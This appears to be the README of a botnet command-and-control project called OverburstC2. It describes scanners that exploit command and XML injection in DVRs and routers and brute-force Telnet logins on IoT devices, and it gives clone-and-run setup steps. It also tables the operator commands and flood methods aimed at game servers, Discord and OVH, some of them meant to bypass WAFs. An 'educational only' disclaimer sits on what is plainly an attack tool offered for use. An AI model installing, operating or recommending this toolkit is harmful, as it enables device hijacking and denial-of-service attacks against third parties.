You can use a collection of network security evaluation tools designed to identify vulnerabilities in various devices.
Intended for educational purposes and authorized security testing only.
- Tests DVR devices for XML injection vulnerabilities in the NTP configuration.
- Tests ZHONE routers for command injection via the ping diagnostic feature.
- Scans fiber routers running the BOA web server for command injection vulnerabilities.
- Attempts common credential combinations on IoT and network devices via Telnet.
colorama==0.4.6
bcrypt==4.1.2
git clone https://github.com/CirqueiraDev/OverburstC2.git
cd OverburstC2
pip install -r requirements.txt
python main.py
| Command | Description |
|---|---|
!user |
Add / List / Remove users |
!blacklist |
Add / List / Remove blacklisted targets |
| Command | Description |
|---|---|
help |
Shows list of commands |
botnet |
Displays available botnet attack methods |
bots |
Shows all connected bots |
stop |
Stops all floods in progress |
clear |
Clears the console screen |
exit |
Disconnects from the C&C server |
| Method | Description |
|---|---|
.UDP |
Sends varying size UDP packets to overwhelm the target |
.TCP |
Continuously sends TCP packets to exhaust connections |
.SYN |
Sends SYN requests to flood pending TCP handshakes |
.MIX |
Alternates between TCP and UDP to bypass protections |
.VSE |
Sends Valve Source Engine protocol floods |
.FIVEM |
Specialized payload designed for FiveM servers |
.OVHUDP |
UDP floods with random payloads targeting specific ports |
.OVHTCP |
Randomized byte sequences and terminators to bypass WAFs |
.DISCORD |
Specialized UDP packet targeting Discord services |
- Fixed: some attacks were not being launched
- Fixed: SyntaxError: f-string: unmatched '(' on main.py
- Some methods have been optimized
- The bot code has been reorganized
- STOP command fixed (I think)
- Added news methods (Soon)
This project is strictly intended for educational and research purposes only.
Misuse of this software may be illegal and lead to criminal penalties.
Always use cybersecurity knowledge to defend systems, never to attack them.
- CirqueiraDev
- Discord: Cirqueira
- Instagram Profile
